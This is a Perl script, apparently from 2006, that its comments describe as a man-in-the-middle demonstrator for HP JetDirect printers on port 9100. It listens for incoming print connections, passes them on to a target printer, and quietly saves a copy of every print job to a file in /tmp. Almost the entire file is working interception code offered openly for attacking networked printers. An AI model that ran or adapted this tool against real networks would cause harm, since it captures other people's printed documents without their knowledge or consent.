#!/usr/bin/perl $version=' $Id: 9k1-hijacker.pl,v 1.2 2006/01/19 02:17:52 torh Exp $ '; ## ## (c) 2000-2006 th@bogus.net ## ## thanks to the perl cookbook for a spendid start. ## ## this code should be used for demonstrating "man-in-the-middle" attacks ## (this version started off as a JetDirect demonstrator) ## $|=1; ## use POSIX; use Socket; use Fcntl; use IO::Handle; use IO::Socket; use IO::Select; use Tie::RefHash; use Getopt::Long; $SIG{'QUIT'} = "CleanExit"; $SIG{'INT'} = "CleanExit"; GetOptions("lp=s" => \$PORT, "la=s" => \$LHOST, "rp=s" => \$DPORT, "ra=s" => \$DHOST, "h"); if($opt_h) { print < -la -rp -ra => should be useful for man in the middle attacks. lp = local port to listen on (default 9100) la = local address to listen on (default 0.0.0.0 (all nics)) rp = remote port (default 9100) rh = remote host (default 127.0.0.1, change this to target address) EOM exit(0); } $PORT=9100 unless($PORT); $LHOST="0.0.0.0" unless($LHOST); ## change values below to reflect real JetDirect port $DHOST="127.0.0.1" unless($DHOST); $DPORT=9100 unless($DPORT); $server = IO::Socket::INET->new(LocalAddr => $LHOST, LocalPort => $PORT, Proto => 'tcp', Listen => 10) || die "FATAL: cannot bind to port $PORT: $!\n"; ## start with empty hashes ## %inbuffer=(); %outbuffer=(); %ready=(); %socket=(); %tmpfile=(); tie(%ready, 'Tie::RefHash'); #open(LOGFILE,$LOGFILE) || die "FATAL: cannot open '$LOGFILE': $!\n"; #seek(LOGFILE,0,2); nonblock($server); $select = IO::Select->new($server); ## main loop ## check reads / accepts, check writes, check ready to process ## while(1) { my($client); my($rv); my($data); ## check for new information on the connections we have ## foreach $client ($select->can_read(1)) { if($client == $server) { ## accept new connection ## $client=$server->accept(); $select->add($client); nonblock($client); printf("Connection from %s accepted.\n",$client->peerhost()); ## create new outbound connection to destination address $socket{$client} = IO::Socket::INET->new(PeerAddr => $DHOST, PeerPort => $DPORT, Proto => 'tcp', Type => SOCK_STREAM) || CleanExit(); $tmpfile{$client}=TmpFile("/tmp","hp-".time()."-".$$); print "Job will be written to '".$tmpfile{$client}."'.\n"; } else { ## read data $data = ''; $rv = $client->recv($data,POSIX::BUFSIZ,0); unless (defined($rv) && length($data)) { ## this would be end of file (no more data) ## so close client delete($inbuffer{$client}); delete($outbuffer{$client}); delete($ready{$client}); $select->remove($client); close($client); next; } $inbuffer{$client} .= $data; ## test whether data in buffer or the data we just read ## means there is a complete request waiting to be ## fulfilled if(length($inbuffer{$client})>0) { #printf("Client said '%s'",$inbuffer{$client}); push(@{$ready{$client}},$inbuffer{$client}); $inbuffer{$client}=""; } } } ## any complete requests to process? ## foreach $client (keys %ready) { handle($client); } ## buffers to flush? ## foreach $client ($select->can_write(1)) { ## skip this client if we have nothing to say ## next unless exists($outbuffer{$client}); $rv = $socket{$client}->send($outbuffer{$client},0); unless (defined $rv) { ## complain, but get on with it warn "Warning: was told i could write, but i can't\n"; next; } if($rv == length($outbuffer{$client}) || ($! == POSIX::EWOULDBLOCK)) { substr($outbuffer{$client},0,$rv) = ''; delete($outbuffer{$client}) unless length($outbuffer{$client}); } else { ## couldn't write all the data, wasn't because it would ## have blocked. drop client connection and move on. delete($inbuffer{$client}); delete($outbuffer{$client}); delete($ready{$client}); $select->remove($client); close($client); next; } } ## oob data? foreach $client ($select->has_exception(0)) { ## deal with oob data here ## (we won't) } } ## handle($socket) deals with pending req's from a client ## sub handle { ## requests are in $ready{$client} ## send output to $outbuffer{$client} my($client) = shift; my($request); foreach $request (@{$ready{$client}}) { # $request contains data from client # uncomment next line for "demo mode" (echo server) $outbuffer{$client} .= $request; open(OUT,">>".$tmpfile{$client}); print OUT $request; close(OUT); } delete($ready{$client}); } sub nonblock { my($socket) = shift; my($flags); $flags=fcntl($socket,F_GETFL,0) || die "FATAL: can't get flags for socket: $!\n"; fcntl($socket,F_SETFL,$flags | O_NONBLOCK) || die "FATAL: can't make socket nonblocking: $!\n"; } sub CleanExit { close(OUT); close($server); exit(1); } sub TmpFile { my($dir,$prefix)=@_; $dir="/tmp" if (!$dir); $prefix="temp" if(!$prefix); ## generate random string and append to main part ## my($tfile)=$prefix."_".RandChars(); ## make sure the filename doesn't exist ## $tfile=$adr."_".RandChars() while(-e "$dir/$tfile"); open(OUT,">$dir/$tfile");close(OUT); if($DEBUG>2) {print STDERR "DEBUG: tempdir is \'$dir\' , file is $tfile \n";} return($dir."/".$tfile); } ## RandChars; generates a string of 10 pseudorandom characters ## sub RandChars { my($a,$c,$i); for($i=0;$i<10;$i++) { if(rand(100)<50) {$a=65;} else {$a=97;} $c .= chr(rand(26)+$a); } return($c); }